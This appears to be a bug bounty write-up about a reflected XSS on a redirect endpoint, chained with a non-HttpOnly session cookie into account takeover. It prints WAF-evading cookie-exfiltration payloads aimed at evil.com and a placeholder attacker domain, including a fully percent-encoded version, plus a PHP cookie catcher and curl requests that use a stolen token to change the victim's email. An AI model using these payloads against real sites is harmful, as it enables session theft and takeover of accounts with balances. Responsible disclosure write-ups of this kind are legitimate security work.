← All writeups
2026-07XSS

Reflected XSS and Account Takeover: How I Got Paid for a Duplicate in Bug Bounty

An encoding bypass on a redirect endpoint plus a non-HttpOnly session cookie let one crafted link hijack a victim's account, balance included.

From a Broken Redirect to Full Account Takeover

I was poking around a target that handled real user balances when I found a /callback/redirect endpoint. It took two parameters, method and url, and forwarded the browser wherever the url param pointed. Redirect endpoints sit near the top of my checklist on a new target because the filter in front of them leaves gaps.

The First Crack

I threw a javascript: URI at the url parameter. The filter caught it and returned a blank page.

The endpoint changed behavior based on the method parameter. method=GET gave one response. method=POST gave a looser one. That pointed to two separate code paths for the filter, and separate paths enforce different rules.

I switched to method=POST and tried a normal cookie-stealing payload:

javascript://window.location.href=`https://evil.com/?cookie=${document.cookie}`

The application's firewall blocked it and returned another blank page. Payloads that spelled out document.cookie or a clean window.location redirect hit the same wall. The WAF matched those steal-and-exfil shapes.

Building a Payload the Firewall Would Miss

I needed the same end result without writing the strings the WAF already knew. I split the work across variables and rebuilt the property access at runtime:

javascript:a=document;b='location';c='cookie'/*bypass*/;d='//[ATTACKER_DOMAIN]/';a[b]=d+a[c]

a holds the document. b and c hold the property names as plain strings. d is the attacker prefix. The last statement does a[b]=d+a[c], which equals document.location = '//[ATTACKER_DOMAIN]/' + document.cookie without those tokens sitting next to each other in the source. The /*bypass*/ comment was a leftover from earlier probes that also broke up the signature.

That cleared the keyword checks. The literal javascript: scheme still got caught. Filters that match that string miss the URL-encoded form when the app decodes after the check instead of before. I percent-encoded every character:

%6a%61%76%61%73%63%72%69%70%74%3a%61%3d%64%6f%63%75%6d%65%6e%74%3b%62%3d%27%6c%6f%63%61%74%69%6f%6e%27%3b%63%3d%27%63%6f%6f%6b%69%65%27%2f%2a%62%79%70%61%73%73%2a%2f%3b%64%3d%27%2f%2f%5b%41%54%54%41%43%4b%45%52%5f%44%4f%4d%41%49%4e%5d%2f%27%3b%61%5b%62%5d%3d%64%2b%61%5b%63%5d

I dropped it into the url param with method=POST, opened the link, and watched the browser bar flash to my own server for a split second before landing on the redirect target. The filter decoded the string after the check had already passed. Obfuscation cleared the WAF signatures and encoding cleared the scheme check, which gave me reflected JavaScript execution on the real site.

On its own that rates as medium severity. I still needed to see what the script could reach.

The encoded payload executing and redirecting to my domain, bypassing the filter

The Cookie Was Readable

I looked at what the site stored client-side and found a session cookie that authorized API calls with no HttpOnly flag. Missing that flag meant the reflected XSS could read the session.

I built a tiny PHP catcher and hosted it on a domain I control:

<?php
function getFullUrl() {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
    $host = $_SERVER['HTTP_HOST'];
    $uri = $_SERVER['REQUEST_URI'];
    $fragment = isset($_SERVER['FRAGMENT']) ? $_SERVER['FRAGMENT'] : '';
    return $uri . ($fragment ? '#' . $fragment : '');
}
 
function getSessionValue($urlString) {
    preg_match('/[SESSION_COOKIE_NAME]=([^;]+)/', $urlString, $matches);
    return $matches[1] ?? null;
}
?>
<html>
  <body>
    <h1><?php echo "User Token: " . getSessionValue(getFullUrl()); ?></h1>
    <h2>User cookies:</h2>
    <textarea><?php echo getFullUrl(); ?></textarea>
  </body>
</html>

I pointed the encoded payload at it and clicked the crafted link as my own victim:

https://www.[target].com/callback/redirect?method=POST&url=<ENCODED_PAYLOAD>

The browser redirected through the vulnerable endpoint, ran the injected script, grabbed document.cookie, and sent it to the catcher. The session token showed up on screen a second later with no warning to the victim.

Session token captured on the catcher page (token redacted)

Turning a Stolen Cookie Into a Takeover

I started poking the account API with the stolen token:

curl "https://www.[target].com/api/v1-preview/account" \
  -H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
  -H "Referer: https://www.[target].com/" -i

That request returned the full account profile: email, phone number, address, balance, full name. The API asked for no second factor and no re-authentication.

I tried a write next:

curl -X PATCH "https://www.[target].com/api/v1-preview/account" \
  -H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
  -H "Referer: https://www.[target].com/" \
  -H "Content-Type: application/json" \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" \
  --data '{"email":"attacker-controlled@example.com"}' -i

The account's registered email changed to one I controlled. From there I could run a password reset and take ownership of the account, balance included.

PATCH response confirming the email change went through (PII redacted)

I chained the reflected XSS, the missing HttpOnly flag, and the PATCH endpoint without re-authentication into a one-click account takeover against a logged-in user who opened the link.

The Triage Back-and-Forth

I filed the report and got the usual "we're discussing internally with the team" holding pattern. A week later the internal team said they could not reproduce the PATCH step. I retested and found the missing piece: the request needed a User-Agent header or the API rejected it without an error message. I attached a fresh proof screenshot, a working curl command, and an exported request collection so the team could replay everything without guessing.

The team marked the report as a known issue tied to a prior XSS finding on a shared codebase, since the reflected XSS piece alone had already surfaced elsewhere. The account-takeover chain was new to them, and they paid a bounty for that part of the exploitation.

I also pushed back on the severity scoring. The triager had marked Integrity as Low. I quoted the CVSS definition in the thread: an attacker who can compromise the account, including draining the balance, causes a direct, serious consequence to the impacted component, which is the definition of High. Push back on a severity score when your findings support a higher rating, and make the case with the CVSS language.

Takeaways for Other Hunters